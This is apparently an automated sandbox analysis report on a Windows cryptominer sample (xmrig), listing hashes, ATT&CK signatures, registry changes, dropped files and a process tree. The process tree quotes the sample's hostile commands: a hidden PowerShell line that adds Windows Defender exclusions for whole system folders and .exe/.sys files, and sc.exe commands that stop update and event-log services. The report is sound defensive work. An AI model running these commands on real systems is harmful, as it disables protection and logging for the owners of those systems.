xmrig | c5e282783593677645105d5c2ff30b1e5c9db4884a4344cf018f2084fd122439

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 03:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
Size 7.7MB
Sample260718-efjhcsfv7j
SHA256 c5e282783593677645105d5c2ff30b1e5c9db4884a4344cf018f2084fd122439
MD5 52b373bd534b3a0ec45b9b4c8a222204
SHA1 f68607bff20a11bffeff4f2912f2a770a6284e90
SHA512 0368d6ecfd27886353ab55cf81a71597ca7b3a5cf8e93df3b72541ef1db141ae51145fe22619861c9000593b14e3d004fe68b36a2d4e19e6910f003a1ca31bc4
SSDEEP 196608:8dcgS7eaAhp8L0YGtaG9ZrqD9paST57GwI9Zngpb8p5+xcd:KSBYp00Y8zq7hIXgpgp5a6
TLSH
T19C862395B7D204B9E1ABC7B0C562356EF2293BC38B34DEC723D816580E233916A7E754
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit xmrig impact miner persistence ransomware trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Defender notification settings 3 TTPs 6 IoCs

defense_evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	WmiPrvSE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	WmiPrvSE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/5592-82-0x00007FF7FB310000-0x00007FF7FC094000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2908	powershell.exe
4692	powershell.exe
5716	powershell.exe
4692	powershell.exe
5716	powershell.exe
2908	powershell.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
1828	takeown.exe
1612	icacls.exe

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
4892	WmiPrvSE.exe
556	WmiPrvSE.exe
5592	svchost.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1828	takeown.exe
1612	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
6	pastebin.com
1	pastebin.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\WinMSlPC.{208D2C60-3AEA-1069-A2D7-08002B30309D}\svchost.exe	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F28CC103A764A74B222272A7D2BDDA5C	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\WinMSlPC.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WinRing0x64.sys	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F28CC103A764A74B222272A7D2BDDA5C	WmiPrvSE.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12	WmiPrvSE.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_rljdmyuo.2eb.ps1	powershell.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_k1make5z.3oe.psm1	powershell.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_rhj0xtq5.ou3.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_kojvxery.gu0.psm1	powershell.exe

Launches sc.exe 36 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2944	sc.exe
4340	sc.exe
4360	sc.exe
1916	sc.exe
1552	sc.exe
5384	sc.exe
4808	sc.exe
3436	sc.exe
1864	sc.exe
5088	sc.exe
2312	sc.exe
4444	sc.exe
3260	sc.exe
5404	sc.exe
5580	sc.exe
836	sc.exe
4880	sc.exe
808	sc.exe
5880	sc.exe
1860	sc.exe
1692	sc.exe
2896	sc.exe
2700	sc.exe
1908	sc.exe
3188	sc.exe
4608	sc.exe
4140	sc.exe
4608	sc.exe
3728	sc.exe
1968	sc.exe
5516	sc.exe
5584	sc.exe
1128	sc.exe
1656	sc.exe
3856	sc.exe
1948	sc.exe

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3536	cmd.exe
5732	cmd.exe
4952	cmd.exe
2284	cmd.exe
2636	cmd.exe
3508	cmd.exe
3428	cmd.exe
1328	cmd.exe
5072	cmd.exe
4256	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3172	timeout.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2600	vssadmin.exe
3720	vssadmin.exe
1216	vssadmin.exe

Modifies data under HKEY_USERS 52 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	WmiPrvSE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	WmiPrvSE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WmiPrvSE.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	WmiPrvSE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WmiPrvSE.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	WmiPrvSE.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
4692	powershell.exe
4692	powershell.exe
4692	powershell.exe
4892	WmiPrvSE.exe
4892	WmiPrvSE.exe
4892	WmiPrvSE.exe
4892	WmiPrvSE.exe
5716	powershell.exe
5716	powershell.exe
5716	powershell.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
2908	powershell.exe
2908	powershell.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe
556	WmiPrvSE.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeIncreaseQuotaPrivilege	4692	powershell.exe
Token: SeSecurityPrivilege	4692	powershell.exe
Token: SeTakeOwnershipPrivilege	4692	powershell.exe
Token: SeLoadDriverPrivilege	4692	powershell.exe
Token: SeSystemProfilePrivilege	4692	powershell.exe
Token: SeSystemtimePrivilege	4692	powershell.exe
Token: SeProfSingleProcessPrivilege	4692	powershell.exe
Token: SeIncBasePriorityPrivilege	4692	powershell.exe
Token: SeCreatePagefilePrivilege	4692	powershell.exe
Token: SeBackupPrivilege	4692	powershell.exe
Token: SeRestorePrivilege	4692	powershell.exe
Token: SeShutdownPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeSystemEnvironmentPrivilege	4692	powershell.exe
Token: SeRemoteShutdownPrivilege	4692	powershell.exe
Token: SeUndockPrivilege	4692	powershell.exe
Token: SeManageVolumePrivilege	4692	powershell.exe
Token: 33	4692	powershell.exe
Token: 34	4692	powershell.exe
Token: 35	4692	powershell.exe
Token: 36	4692	powershell.exe
Token: SeIncreaseQuotaPrivilege	4692	powershell.exe
Token: SeSecurityPrivilege	4692	powershell.exe
Token: SeTakeOwnershipPrivilege	4692	powershell.exe
Token: SeLoadDriverPrivilege	4692	powershell.exe
Token: SeSystemProfilePrivilege	4692	powershell.exe
Token: SeSystemtimePrivilege	4692	powershell.exe
Token: SeProfSingleProcessPrivilege	4692	powershell.exe
Token: SeIncBasePriorityPrivilege	4692	powershell.exe
Token: SeCreatePagefilePrivilege	4692	powershell.exe
Token: SeBackupPrivilege	4692	powershell.exe
Token: SeRestorePrivilege	4692	powershell.exe
Token: SeShutdownPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeSystemEnvironmentPrivilege	4692	powershell.exe
Token: SeRemoteShutdownPrivilege	4692	powershell.exe
Token: SeUndockPrivilege	4692	powershell.exe
Token: SeManageVolumePrivilege	4692	powershell.exe
Token: 33	4692	powershell.exe
Token: 34	4692	powershell.exe
Token: 35	4692	powershell.exe
Token: 36	4692	powershell.exe
Token: SeIncreaseQuotaPrivilege	4692	powershell.exe
Token: SeSecurityPrivilege	4692	powershell.exe
Token: SeTakeOwnershipPrivilege	4692	powershell.exe
Token: SeLoadDriverPrivilege	4692	powershell.exe
Token: SeSystemProfilePrivilege	4692	powershell.exe
Token: SeSystemtimePrivilege	4692	powershell.exe
Token: SeProfSingleProcessPrivilege	4692	powershell.exe
Token: SeIncBasePriorityPrivilege	4692	powershell.exe
Token: SeCreatePagefilePrivilege	4692	powershell.exe
Token: SeBackupPrivilege	4692	powershell.exe
Token: SeRestorePrivilege	4692	powershell.exe
Token: SeShutdownPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeSystemEnvironmentPrivilege	4692	powershell.exe
Token: SeRemoteShutdownPrivilege	4692	powershell.exe
Token: SeUndockPrivilege	4692	powershell.exe
Token: SeManageVolumePrivilege	4692	powershell.exe
Token: 33	4692	powershell.exe
Token: 34	4692	powershell.exe
Token: 35	4692	powershell.exe
Token: 36	4692	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5592	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 4952	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	88
PID 4952 wrote to memory of 1524	4952	cmd.exe	90
PID 1524 wrote to memory of 5728	1524	net.exe	91
PID 1200 wrote to memory of 4692	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	92
PID 1200 wrote to memory of 3260	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	95
PID 1200 wrote to memory of 1552	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	97
PID 1200 wrote to memory of 808	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	99
PID 1200 wrote to memory of 5584	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	101
PID 1200 wrote to memory of 3188	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	103
PID 1200 wrote to memory of 1128	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	105
PID 1200 wrote to memory of 5880	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	107
PID 1200 wrote to memory of 5088	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	109
PID 1200 wrote to memory of 2312	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	111
PID 1200 wrote to memory of 4608	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	113
PID 1200 wrote to memory of 5384	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	115
PID 1200 wrote to memory of 2944	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	117
PID 1200 wrote to memory of 1432	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	119
PID 1200 wrote to memory of 1328	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	121
PID 1328 wrote to memory of 5784	1328	cmd.exe	123
PID 1200 wrote to memory of 5652	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	124
PID 5652 wrote to memory of 1044	5652	cmd.exe	126
PID 5652 wrote to memory of 1828	5652	cmd.exe	128
PID 5652 wrote to memory of 1612	5652	cmd.exe	129
PID 1200 wrote to memory of 2284	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	130
PID 2284 wrote to memory of 1216	2284	cmd.exe	132
PID 1200 wrote to memory of 1712	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	135
PID 1200 wrote to memory of 2636	1200	2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe	136
PID 2636 wrote to memory of 3172	2636	cmd.exe	139
PID 4892 wrote to memory of 5072	4892	WmiPrvSE.exe	142
PID 5072 wrote to memory of 5796	5072	cmd.exe	144
PID 5796 wrote to memory of 252	5796	net.exe	145
PID 4892 wrote to memory of 5716	4892	WmiPrvSE.exe	146
PID 4892 wrote to memory of 1656	4892	WmiPrvSE.exe	148
PID 4892 wrote to memory of 5404	4892	WmiPrvSE.exe	150
PID 4892 wrote to memory of 4340	4892	WmiPrvSE.exe	152
PID 4892 wrote to memory of 3856	4892	WmiPrvSE.exe	154
PID 4892 wrote to memory of 3728	4892	WmiPrvSE.exe	156
PID 4892 wrote to memory of 4444	4892	WmiPrvSE.exe	158
PID 4892 wrote to memory of 1860	4892	WmiPrvSE.exe	160
PID 4892 wrote to memory of 1692	4892	WmiPrvSE.exe	162
PID 4892 wrote to memory of 4140	4892	WmiPrvSE.exe	164
PID 4892 wrote to memory of 5580	4892	WmiPrvSE.exe	166
PID 4892 wrote to memory of 2896	4892	WmiPrvSE.exe	168
PID 4892 wrote to memory of 2700	4892	WmiPrvSE.exe	170
PID 4892 wrote to memory of 4540	4892	WmiPrvSE.exe	172
PID 4892 wrote to memory of 3508	4892	WmiPrvSE.exe	174
PID 3508 wrote to memory of 3380	3508	cmd.exe	176
PID 4892 wrote to memory of 3636	4892	WmiPrvSE.exe	177
PID 3636 wrote to memory of 6092	3636	cmd.exe	179
PID 4892 wrote to memory of 4256	4892	WmiPrvSE.exe	180
PID 4256 wrote to memory of 2600	4256	cmd.exe	182
PID 2636 wrote to memory of 2440	2636	cmd.exe	183
PID 556 wrote to memory of 3536	556	WmiPrvSE.exe	185
PID 3536 wrote to memory of 2868	3536	cmd.exe	187
PID 2868 wrote to memory of 5584	2868	net.exe	188
PID 556 wrote to memory of 2908	556	WmiPrvSE.exe	189
PID 556 wrote to memory of 4808	556	WmiPrvSE.exe	191
PID 556 wrote to memory of 1968	556	WmiPrvSE.exe	193
PID 556 wrote to memory of 4360	556	WmiPrvSE.exe	195
PID 556 wrote to memory of 1908	556	WmiPrvSE.exe	197
PID 556 wrote to memory of 4608	556	WmiPrvSE.exe	199
PID 556 wrote to memory of 5516	556	WmiPrvSE.exe	201
PID 556 wrote to memory of 3436	556	WmiPrvSE.exe	203
PID 556 wrote to memory of 1916	556	WmiPrvSE.exe	205

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_52b373bd534b3a0ec45b9b4c8a222204_cobalt-strike_icedid_satacom_stealc_vidar.exe"
1⤵
- Modifies Windows Defender notification settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath 'C:\ProgramData\'; Add-MpPreference -ExclusionPath 'C:\Windows\'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.sys'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3260
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1552
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:808
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5584
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3188
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1128
